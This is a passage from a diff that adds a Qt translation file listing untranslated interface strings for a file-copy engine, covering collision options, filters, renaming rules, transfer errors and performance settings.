+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
